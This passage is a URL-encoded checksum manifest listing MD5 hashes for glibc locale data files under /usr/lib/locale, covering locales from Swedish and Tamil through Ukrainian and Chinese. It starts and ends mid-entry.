2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%40euro%2FLC_MEASUREMENT%0A66eea728a3fe59f0536f862a2d4594c3%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%40euro%2FLC_COLLATE%0A1e8c9ff4219cbab439739acc0d523bbb%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%40euro%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%40euro%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%40euro%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%40euro%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI.utf8%40euro%2FLC_CTYPE%0A5d9bbb25d0e72653794c2f810789f545%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A997d360e436317d5fd8a1282cffff70b%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%40euro%2FLC_TIME%0Aea6d12ed995b1e3aa4fda05a42f392ef%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%40euro%2FLC_IDENTIFICATION%0Ab83216445bb82dea2a64328920791ff5%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%40euro%2FLC_TELEPHONE%0A65e1129ed7d9ce04abe3032c6d8473fd%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%40euro%2FLC_MONETARY%0A4a32fd994985ed29c28619f9feefc089%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%40euro%2FLC_COLLATE%0Ac5d2244cf5e4ac17aab196961169f97e%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%40euro%2FLC_NUMERIC%0Ac8d0b32a3a4c7fd13e654482eda18620%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%40euro%2FLC_PAPER%0A7809ac117e96c386beffe3ebdacca6dc%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%40euro%2FLC_NAME%0A67269a7b9cd9fe5f02919e948a231c34%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%40euro%2FLC_MEASUREMENT%0Ad9b1fa625a566959a39b3dd9b3036d0a%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%40euro%2FLC_CTYPE%0Ab4210496dbffa5fde62d96cbbaa739fd%20%20%2Fusr%2Flib%2Flocale%2Fsv_FI%40euro%2FLC_ADDRESS%0Aef86e9343aef5bd2e41dee0ace685924%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE%2FLC_IDENTIFICATION%0A4228567f70c0fa29ed3479197954881c%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE%2FLC_COLLATE%0Ace8d9ca9f8edd55645f0971b95492154%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aad95deaa665e99c32f93c428400c93ad%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE%2FLC_TELEPHONE%0Afe5f6d2d65b183c8d40d26cfbad413aa%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE%2FLC_MONETARY%0A69b74b47e6a53878e6f3ae9754cb977c%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE%2FLC_NUMERIC%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE%2FLC_PAPER%0Aafed80569c7fdf881f0778686d105195%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE%2FLC_TIME%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE%2FLC_MEASUREMENT%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE%2FLC_NAME%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE%2FLC_CTYPE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE%2FLC_ADDRESS%0A5e59b61082d1f4bb1e9fa16ea72609ed%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE.utf8%2FLC_IDENTIFICATION%0Af6feaaf8fadd390a9257ef4032d047d5%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE.utf8%2FLC_COLLATE%0Aca29ba41191a843b02d298daed8025e3%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A3ba1ce05697c6d113b7f1b7be74b4971%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE.utf8%2FLC_TELEPHONE%0A1808bf1a5f121918cfc7736255479164%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE.utf8%2FLC_MONETARY%0A2ea22e9eeba7956968dfcc67417942b4%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE.utf8%2FLC_NUMERIC%0Adc218d6cd7d4f0b6b974a498f51a5ca0%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE.utf8%2FLC_TIME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE.utf8%2FLC_ADDRESS%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE.utf8%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fsv_SE.utf8%2FLC_CTYPE%0A8e9242244083c8b98802d5a63e8c6d64%20%20%2Fusr%2Flib%2Flocale%2Fta_IN%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A9314ddf851578bb7050c1308edc06715%20%20%2Fusr%2Flib%2Flocale%2Fta_IN%2FLC_TIME%0Afffbb9b320bce1af5c174318cdb9b4a2%20%20%2Fusr%2Flib%2Flocale%2Fta_IN%2FLC_IDENTIFICATION%0Acbd8ed7030ba4819095e080c7907e608%20%20%2Fusr%2Flib%2Flocale%2Fta_IN%2FLC_TELEPHONE%0A6b9da3856495e738bad389d71f69ba35%20%20%2Fusr%2Flib%2Flocale%2Fta_IN%2FLC_NUMERIC%0A090083a6859338a517a96550cab8d845%20%20%2Fusr%2Flib%2Flocale%2Fta_IN%2FLC_NAME%0Af21dec04d7e7aef002cf9241c2681278%20%20%2Fusr%2Flib%2Flocale%2Fta_IN%2FLC_MONETARY%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fta_IN%2FLC_PAPER%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fta_IN%2FLC_MEASUREMENT%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fta_IN%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fta_IN%2FLC_COLLATE%0A6280a46712a02caa517d7acc8d60c117%20%20%2Fusr%2Flib%2Flocale%2Fta_IN%2FLC_ADDRESS%0Acc27f16ca1f5926b172d16f84a1562b4%20%20%2Fusr%2Flib%2Flocale%2Fte_IN%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ab9d6a61e768367602cc2fdce5154d67e%20%20%2Fusr%2Flib%2Flocale%2Fte_IN%2FLC_TIME%0Ad9ecf4a9e815c502b105b39cf9a503d9%20%20%2Fusr%2Flib%2Flocale%2Fte_IN%2FLC_IDENTIFICATION%0Acbd8ed7030ba4819095e080c7907e608%20%20%2Fusr%2Flib%2Flocale%2Fte_IN%2FLC_TELEPHONE%0Ad733187c921ad062ef487b782e159876%20%20%2Fusr%2Flib%2Flocale%2Fte_IN%2FLC_MONETARY%0A9f92019ddafebbf0e7da8f40c255b52c%20%20%2Fusr%2Flib%2Flocale%2Fte_IN%2FLC_NUMERIC%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fte_IN%2FLC_PAPER%0A090083a6859338a517a96550cab8d845%20%20%2Fusr%2Flib%2Flocale%2Fte_IN%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fte_IN%2FLC_MEASUREMENT%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fte_IN%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fte_IN%2FLC_COLLATE%0A6280a46712a02caa517d7acc8d60c117%20%20%2Fusr%2Flib%2Flocale%2Fte_IN%2FLC_ADDRESS%0A372d7beaeb5ed2e4cf031defc13f4d2e%20%20%2Fusr%2Flib%2Flocale%2Ftg_TJ%2FLC_IDENTIFICATION%0Adddfbfe84b221ee19b186be48732bc60%20%20%2Fusr%2Flib%2Flocale%2Ftg_TJ%2FLC_ADDRESS%0Ad10df927fa2b279cd373a368696f14c0%20%20%2Fusr%2Flib%2Flocale%2Ftg_TJ%2FLC_COLLATE%0A414974d13361fe4a2992f20bfe120141%20%20%2Fusr%2Flib%2Flocale%2Ftg_TJ%2FLC_CTYPE%0A2966bcb476d80329e7dd2c1db21e3c84%20%20%2Fusr%2Flib%2Flocale%2Ftg_TJ%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Abbc96148048d9219e3c283538547115e%20%20%2Fusr%2Flib%2Flocale%2Ftg_TJ%2FLC_MEASUREMENT%0Ae4773c152373aaf34b5e8e1267f75180%20%20%2Fusr%2Flib%2Flocale%2Ftg_TJ%2FLC_TELEPHONE%0A9d307353d8821b3862ffeae54e31019f%20%20%2Fusr%2Flib%2Flocale%2Ftg_TJ%2FLC_MONETARY%0Aedc93f2d7f2fb1e83c21fef18f57a327%20%20%2Fusr%2Flib%2Flocale%2Ftg_TJ%2FLC_NAME%0A6ddfa5ebb90ae90dbd20d01400682df0%20%20%2Fusr%2Flib%2Flocale%2Ftg_TJ%2FLC_NUMERIC%0A380c746daddecee223bc0f895bef23c3%20%20%2Fusr%2Flib%2Flocale%2Ftg_TJ%2FLC_PAPER%0Aefdf90e8fab2ffd7d3251cf8cf3c9d49%20%20%2Fusr%2Flib%2Flocale%2Ftg_TJ%2FLC_TIME%0A9e00e6a3a4e774c224dc9c4b2997d875%20%20%2Fusr%2Flib%2Flocale%2Fth_TH%2FLC_IDENTIFICATION%0A46bf7e431105e6cd6aaf090665c56b80%20%20%2Fusr%2Flib%2Flocale%2Fth_TH%2FLC_ADDRESS%0A1084956a83b4f94037d048b362fcc3bd%20%20%2Fusr%2Flib%2Flocale%2Fth_TH%2FLC_COLLATE%0A79fe727387dc44ae189cb0d4aaa35a82%20%20%2Fusr%2Flib%2Flocale%2Fth_TH%2FLC_CTYPE%0Ae438c165dc70657f36fa723861a1bb87%20%20%2Fusr%2Flib%2Flocale%2Fth_TH%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A7d7bdd2fd2639d42d07ba1a9a2cd7600%20%20%2Fusr%2Flib%2Flocale%2Fth_TH%2FLC_MEASUREMENT%0A1cce96cb733b6845ae627e0437f003e4%20%20%2Fusr%2Flib%2Flocale%2Fth_TH%2FLC_TELEPHONE%0A7adfa3ac2076a74a1e2712d7da087b7b%20%20%2Fusr%2Flib%2Flocale%2Fth_TH%2FLC_MONETARY%0A9b9898fe1c717a4d4f0cb0b1aaa90e7c%20%20%2Fusr%2Flib%2Flocale%2Fth_TH%2FLC_NAME%0Ad81cea706ae35e942da1629cee3d3a43%20%20%2Fusr%2Flib%2Flocale%2Fth_TH%2FLC_NUMERIC%0Abe48e396cdce33b29d86c28734176d75%20%20%2Fusr%2Flib%2Flocale%2Fth_TH%2FLC_PAPER%0A6f55c21f750601b24a9eddbc0b44e71c%20%20%2Fusr%2Flib%2Flocale%2Fth_TH%2FLC_TIME%0A4f0c997b057082fb19e3c12fbc58df2a%20%20%2Fusr%2Flib%2Flocale%2Fth_TH.utf8%2FLC_IDENTIFICATION%0Ac296cd7bb53d850d70d0d203ae5a69eb%20%20%2Fusr%2Flib%2Flocale%2Fth_TH.utf8%2FLC_ADDRESS%0A2c50f53cb5d27719994e6cae0a3a67a5%20%20%2Fusr%2Flib%2Flocale%2Fth_TH.utf8%2FLC_COLLATE%0A356f526c710664510c5323b15e6954c6%20%20%2Fusr%2Flib%2Flocale%2Fth_TH.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A494e2a3e3f01c19d4c6827ad394c18a3%20%20%2Fusr%2Flib%2Flocale%2Fth_TH.utf8%2FLC_TELEPHONE%0Ac5fd28d0e070e4ab8e42e9fbc695b907%20%20%2Fusr%2Flib%2Flocale%2Fth_TH.utf8%2FLC_MONETARY%0A127f5cb1bcfc9832af3658dbfc66d0ab%20%20%2Fusr%2Flib%2Flocale%2Fth_TH.utf8%2FLC_NAME%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fth_TH.utf8%2FLC_PAPER%0A2a9fcbc783ed4290bec29beaaff9febc%20%20%2Fusr%2Flib%2Flocale%2Fth_TH.utf8%2FLC_TIME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fth_TH.utf8%2FLC_MEASUREMENT%0A5ff44f043d7bfa890f85a1a84d8fab29%20%20%2Fusr%2Flib%2Flocale%2Fth_TH.utf8%2FLC_NUMERIC%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fth_TH.utf8%2FLC_CTYPE%0Aca8054d3f0bec7c46732b82ed7c9e246%20%20%2Fusr%2Flib%2Flocale%2Ftl_PH%2FLC_IDENTIFICATION%0A451da949834ea8e9c85a89f84a5d1a47%20%20%2Fusr%2Flib%2Flocale%2Ftl_PH%2FLC_COLLATE%0A6e7fd6fffc7f1de32459ae3d181f32fc%20%20%2Fusr%2Flib%2Flocale%2Ftl_PH%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A49a54434ce97fe46ba05bd6dccd378ab%20%20%2Fusr%2Flib%2Flocale%2Ftl_PH%2FLC_TELEPHONE%0A982790b7f128d5bb7e377112baf934b2%20%20%2Fusr%2Flib%2Flocale%2Ftl_PH%2FLC_MONETARY%0Aebf5200e3615fa963b07da5fbf731ed0%20%20%2Fusr%2Flib%2Flocale%2Ftl_PH%2FLC_TIME%0A8c89700c17e6aca5fecaf3b58044903a%20%20%2Fusr%2Flib%2Flocale%2Ftl_PH%2FLC_ADDRESS%0A60e11058a8d12393e3a8b429bd5caa6b%20%20%2Fusr%2Flib%2Flocale%2Ftl_PH%2FLC_NAME%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Ftl_PH%2FLC_MEASUREMENT%0A5a0d7365ae442bb043e74cf258fcb8ec%20%20%2Fusr%2Flib%2Flocale%2Ftl_PH%2FLC_NUMERIC%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Ftl_PH%2FLC_PAPER%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Ftl_PH%2FLC_CTYPE%0Aa77117e4171ddd2efe004dad2de00e2d%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR%2FLC_IDENTIFICATION%0Ade22c48dc5090db20d48b842247b092c%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR%2FLC_ADDRESS%0Abf11ce23f4e04e4b646f5ba53889cf39%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR%2FLC_COLLATE%0Aac28a1b93e0b83ebadca56bb912d6f92%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR%2FLC_CTYPE%0A49818cab772f6b3a90365d6e85e59ef5%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ab75b219a4aac3bc04c86a04694695c70%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR%2FLC_MEASUREMENT%0Aaccdf74383f571d1d1c8175049e15cdf%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR%2FLC_TELEPHONE%0A6fdc6a4acdeefe8558b3d2946b2ecdcd%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR%2FLC_MONETARY%0Aeb8b78f7efcf42abf0457ad0f0111b54%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR%2FLC_NAME%0A67b5d817e506f9a010ab97092bd6510b%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR%2FLC_NUMERIC%0A2f700ee07a7bbe8789044fe0224c7b37%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR%2FLC_PAPER%0Aca07ccad90fd18dce375f8a77e3415ba%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR%2FLC_TIME%0A7392e5de9d8501af958fcfcadefedad9%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR.utf8%2FLC_IDENTIFICATION%0A178cf852e4ccca7d99c6e2b993d0f12e%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR.utf8%2FLC_ADDRESS%0A8cbfbb6e59d00957d400fd6805651452%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR.utf8%2FLC_COLLATE%0A7e9e3714339cd6289a35a0518dd0a630%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR.utf8%2FLC_CTYPE%0A6cbcf4e9e79ea65eeb904e392d89d402%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ab1f21152e2ba65415cc326a5b92c4706%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR.utf8%2FLC_TELEPHONE%0Aa023af4519cb3a9d41d300d2055ce0d5%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR.utf8%2FLC_MONETARY%0A01e4da420476ec3211d5adb7a40a5193%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR.utf8%2FLC_NAME%0A14bffc89141d07b15bbee541902befe6%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR.utf8%2FLC_NUMERIC%0Ad2ad6b572b7fd3804be452598e1aafbc%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR.utf8%2FLC_TIME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Ftr_TR.utf8%2FLC_PAPER%0A6a688494afd103e971e48ad968b28460%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A705a5f637207c927ea4c6390a604045a%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA%2FLC_TIME%0Af7ae380ef5c2cfee87bb16749476abc7%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA%2FLC_IDENTIFICATION%0Af075f59fb9c67bfad0b45bf72b84ec58%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA%2FLC_TELEPHONE%0A8a81e2a196c50112f206dadfdffaee35%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA%2FLC_PAPER%0A3b731a0cceeec633f37ab37161ef35aa%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA%2FLC_NUMERIC%0Aa15351a4d236a809cafaf994093e914a%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA%2FLC_NAME%0A7ca2f32b22c21cee5223657eb91fd9f6%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA%2FLC_MONETARY%0Af0d489b953def49fad63304786d1020d%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA%2FLC_MEASUREMENT%0A35d7c9b87864e33e7087d6646bfe6ef4%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA%2FLC_CTYPE%0A5263d12f54cc107a6c82a21f91242867%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA%2FLC_COLLATE%0Ab5a9f372c2822e62a428ee10a5d30cc0%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA%2FLC_ADDRESS%0Abf7df17831da8d7e173e510043e13696%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A43671b8d9127a3456cb6f6fac5be77ba%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA.utf8%2FLC_TIME%0Ae2479f6b38bac1e3d7a1f51b96011ec6%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA.utf8%2FLC_IDENTIFICATION%0A18a3a5b256ba27f3bc6900bce351307a%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA.utf8%2FLC_TELEPHONE%0A9328e5d5f1c47fb0671cb1d7fd07ec94%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA.utf8%2FLC_MONETARY%0A1e8c9ff4219cbab439739acc0d523bbb%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA.utf8%2FLC_NUMERIC%0Ab83f5bdeca0c367c2dcc8f3f708e07b8%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA.utf8%2FLC_COLLATE%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA.utf8%2FLC_PAPER%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA.utf8%2FLC_MEASUREMENT%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fuk_UA.utf8%2FLC_CTYPE%0A11487ed0f607a61b42f849b39ef5d9e4%20%20%2Fusr%2Flib%2Flocale%2Fur_PK%2FLC_IDENTIFICATION%0A9fa31d800ac92f5b801a968c7535e451%20%20%2Fusr%2Flib%2Flocale%2Fur_PK%2FLC_CTYPE%0Ad8513654a317bc9fbd73de17dca3cbb7%20%20%2Fusr%2Flib%2Flocale%2Fur_PK%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A1487cc17a714c9285b8d20e5014d5beb%20%20%2Fusr%2Flib%2Flocale%2Fur_PK%2FLC_TELEPHONE%0A7a9d1cd56588fddab06c07a953f742a9%20%20%2Fusr%2Flib%2Flocale%2Fur_PK%2FLC_MONETARY%0A04a182ab7f525ffd2ac2a1a430aeee6f%20%20%2Fusr%2Flib%2Flocale%2Fur_PK%2FLC_TIME%0A25bea281b7df587a92c8fcf2124e83af%20%20%2Fusr%2Flib%2Flocale%2Fur_PK%2FLC_NUMERIC%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fur_PK%2FLC_ADDRESS%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fur_PK%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fur_PK%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fur_PK%2FLC_PAPER%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fur_PK%2FLC_COLLATE%0A0400de72cfca5d514c3f259b5833b08a%20%20%2Fusr%2Flib%2Flocale%2Fuz_UZ%2FLC_IDENTIFICATION%0A62e817d35e64c18391a047a446c1d633%20%20%2Fusr%2Flib%2Flocale%2Fuz_UZ%2FLC_ADDRESS%0A1379d6e2b993828f48b5065f0fb28ccd%20%20%2Fusr%2Flib%2Flocale%2Fuz_UZ%2FLC_COLLATE%0Afb0141752d6379cf4193d05da6e94481%20%20%2Fusr%2Flib%2Flocale%2Fuz_UZ%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A0e35ad85fc95446ab5a5f240b8baa0cf%20%20%2Fusr%2Flib%2Flocale%2Fuz_UZ%2FLC_TELEPHONE%0A17def414e35ead5611b255289c014274%20%20%2Fusr%2Flib%2Flocale%2Fuz_UZ%2FLC_MONETARY%0A18fbfad25705f96624358887d682c103%20%20%2Fusr%2Flib%2Flocale%2Fuz_UZ%2FLC_NAME%0Af912c12244808c032f99c5d371cd36a5%20%20%2Fusr%2Flib%2Flocale%2Fuz_UZ%2FLC_TIME%0A5a0d7365ae442bb043e74cf258fcb8ec%20%20%2Fusr%2Flib%2Flocale%2Fuz_UZ%2FLC_NUMERIC%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fuz_UZ%2FLC_MEASUREMENT%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fuz_UZ%2FLC_PAPER%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fuz_UZ%2FLC_CTYPE%0Af28b031f31d9c911cfec625d850ed942%20%20%2Fusr%2Flib%2Flocale%2Fvi_VN%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A7d3c50d53b7073873fce8e8b69619278%20%20%2Fusr%2Flib%2Flocale%2Fvi_VN%2FLC_TIME%0A50574bcba09536f815be6447c977d703%20%20%2Fusr%2Flib%2Flocale%2Fvi_VN%2FLC_IDENTIFICATION%0Ab1312b94b0e897c16828d3c6b98a9b34%20%20%2Fusr%2Flib%2Flocale%2Fvi_VN%2FLC_TELEPHONE%0A4e9552f94b4c3c59caac0bf1a8f455f7%20%20%2Fusr%2Flib%2Flocale%2Fvi_VN%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fvi_VN%2FLC_MEASUREMENT%0Aa3d38255dd1552fdce9ffeb3b1e78e73%20%20%2Fusr%2Flib%2Flocale%2Fvi_VN%2FLC_NUMERIC%0A090083a6859338a517a96550cab8d845%20%20%2Fusr%2Flib%2Flocale%2Fvi_VN%2FLC_NAME%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fvi_VN%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fvi_VN%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fvi_VN%2FLC_COLLATE%0A6280a46712a02caa517d7acc8d60c117%20%20%2Fusr%2Flib%2Flocale%2Fvi_VN%2FLC_ADDRESS%0Af1b9c2dd9f358ef0828f6cf9fc3612d9%20%20%2Fusr%2Flib%2Flocale%2Fyi_US%2FLC_IDENTIFICATION%0A1c9f59a906c541e2404ecefbddeac4ed%20%20%2Fusr%2Flib%2Flocale%2Fyi_US%2FLC_ADDRESS%0A230df31bd34941429f1c5093a91117d9%20%20%2Fusr%2Flib%2Flocale%2Fyi_US%2FLC_COLLATE%0Ac17d2e4c0b451fce5712733b38b700ee%20%20%2Fusr%2Flib%2Flocale%2Fyi_US%2FLC_CTYPE%0A73b28e9245084b5de954d20c95f9f321%20%20%2Fusr%2Flib%2Flocale%2Fyi_US%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A29b2f8ba3a36fa9d6c4027ca272d29da%20%20%2Fusr%2Flib%2Flocale%2Fyi_US%2FLC_MEASUREMENT%0A66581b99eb255dc74a1a27321eb8d113%20%20%2Fusr%2Flib%2Flocale%2Fyi_US%2FLC_TELEPHONE%0A54eb8d7ea18283d631121a9f9cb8958b%20%20%2Fusr%2Flib%2Flocale%2Fyi_US%2FLC_MONETARY%0A8a3297d585cf74d14a509b38a54242d0%20%20%2Fusr%2Flib%2Flocale%2Fyi_US%2FLC_NAME%0A93e97ad920e939c2d60a46f71dee0155%20%20%2Fusr%2Flib%2Flocale%2Fyi_US%2FLC_NUMERIC%0Ac834a0a022263baa15476bb48e2ef7d7%20%20%2Fusr%2Flib%2Flocale%2Fyi_US%2FLC_PAPER%0Ac3b127792527c9fe71406348fa1bc063%20%20%2Fusr%2Flib%2Flocale%2Fyi_US%2FLC_TIME%0A661d5040f4f07c1a1f8609dd1a3baa81%20%20%2Fusr%2Flib%2Flocale%2Fzh_CN%2FLC_IDENTIFICATION%0Ad2379bb0276785f42231037b10b4f1ca%20%20%2Fusr%2Flib%2Flocale%2Fzh_CN%2FLC_ADDRESS%0Afde6039eef7fe1716b2e48ec753f86f6%20%20%2Fusr%2Flib%2Flocale%2Fzh_CN%2FLC_COLLATE%0Ae8096c104789a1cb35158be2b2c1dd49%20%20%2Fusr%2Flib%2Flocale%2Fzh_CN%2FLC_CTYPE%0A9387799645eeb709e5988597bfb43435%20%20%2Fusr%2Flib%2Flocale%2Fzh_CN%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A30ebb33fcf4f4dec0cb732c5c120092e%20%20%2Fusr%2Flib%2Flocale%2Fzh_CN%2FLC_MEASUREMENT%0A59dd10882473d148ccc5aa1d42260086%20%20%2Fusr%2Flib%2Flocale%2Fzh_CN%2FLC_TELEPHONE%0Aeaf99d42650a93d6592b76091476fa9b%20%20%2Fusr%2Flib%2Flocale%2Fzh_CN%2FLC_MONETARY%0A9d977b4538c84a5852b0aab29652728d%20%20%2Fusr%